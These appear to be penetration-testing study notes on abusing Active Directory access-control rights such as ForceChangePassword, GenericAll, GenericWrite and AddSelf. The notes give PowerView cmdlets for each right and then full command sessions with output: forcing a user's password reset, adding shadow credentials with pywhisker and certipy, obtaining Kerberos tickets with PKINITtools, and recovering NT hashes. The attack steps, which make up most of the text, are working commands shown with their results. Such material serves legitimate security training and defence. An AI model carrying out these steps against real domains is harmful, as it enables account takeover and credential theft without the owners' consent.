ForceChangePassword abused with Set-DomainUserPassword - gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
Add Members abused with Add-DomainGroupMember
GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
GenericWrite abused with Set-DomainObject - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
WriteOwner abused with Set-DomainObjectOwner
WriteDACL abused with Add-DomainObjectACL
AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember
Addself abused with Add-DomainGroupMember - shows security groups that a user can add themselves to.
Tools
AbuseACL
Script to automatically list vulnerable Windows ACEs/ACLs.
AddSelf, similar to AddMember. While AddMember is WriteProperty access right on the target's Member attribute, AddSelf is a Self access right on the target's Member attribute, allowing the attacker to add itself to the target group, instead of adding arbitrary principals.
PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset
$ pywhisker.py -d "domain.htb" -u "owned" -H aad3b435b51**********5b51404ee:7fc6************b5a85a -td targetdomain.local --target "target" --action "list"
$ pywhisker.py -d "domain.htb" -u "owned" -H aad3b435b51**********5b51404ee:7fc6************b5a85a -td targetdomain.local --target "target" --action "add"
<--SNIP-->
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: QZrd2HfW.pfx
[*] Must be used with password: 7ZoeJDqSZnv5CtHwNY8K
[*] A TGT can now be obtained with
$ gettgtpkinit.py -cert-pfx QZrd2HfW.pfx -pfx-pass 7ZoeJDqSZnv5CtHwNY8K targetdomain.local/target QZrd2HfW.ccache
<--SNIP-->
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-03-17 05:05:07,420 minikerberos INFO 9b0312752bf1042f8a34616e8e641704c11aa0a08b4c6420e04f9bb32b4a1998
$ export KRB5CCNAME=QZrd2HfW.ccache
$ getnthash.py targetdomain.local/target -key 9b0312752bf1042f8a34616e8e641704c11aa0a08b4c6420e04f9bb32b4a1998 -debug -dc-ip [IP]
<--SNIP-->
Recovered NT Hash
cf3a*************ed5c58
┌──(kali㉿kali)-[~/Desktop/pywhisker/pywhisker]
└─$ python pywhisker.py -d "domain.htb" -u "controlledUser" -p "password" --target "targetedUser" --action "add" --dc-ip 10.10.11.41
[*] Searching for the target account
[*] Target user found: CN=targetted user,CN=Users,DC=domain,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: cf165020-4ec3-8daf-508f-259e8d1432dd
[*] Updating the msDS-KeyCredentialLink attribute of targettedUser
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: Nroyxf0a.pfx
[*] Must be used with password: k9NDc9ioP2ctBPVjCxVg
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
┌──(kali㉿kali)-[~/Desktop/PKINITtools]
└─$ sudo ntpdate dc01.domain.htb | python gettgtpkinit.py domain.htb/targettedUser -cert-pfx /home/kali/Desktop/pywhisker/pywhisker/Nroyxf0a.pfx -pfx-pass 'k9NDc9ioP2ctBPVjCxVg' targettedUser.ccache
2024-11-26 12:32:49,589 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-26 12:32:49,617 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-26 12:32:52,984 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-26 12:32:52,984 minikerberos INFO e0d4ce3341797354ca80223549a358554596114362dd3d532450cbc7709cf852
INFO:minikerberos:e0d4ce3341797354ca80223549a358554596114362dd3d532450cbc7709cf852
2024-11-26 12:32:52,988 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
┌──(kali㉿kali)-[~/Desktop/PKINITtools]
└─$ sudo ntpdate dc01.domain.htb | python getnthash.py domain.htb/targettedUser -key e0d4ce3341797354ca80223549a358554596114362dd3d532450cbc7709cf852
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
[Mar 11, 2024 - 08:59:19 (CET)] exegol-Zephyr /workspace # proxychains -q certipy shadow auto -u "owned@domain.local" -p 'password' -account 'target_account' -dns-tcp -dc-ip [IP]
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'target_account'
<--SNIP-->
[*] Successfully restored the old Key Credentials for 'ZPH-SVRMGMT1$'
[*] NT hash for 'target_account': 89d0*************ef2f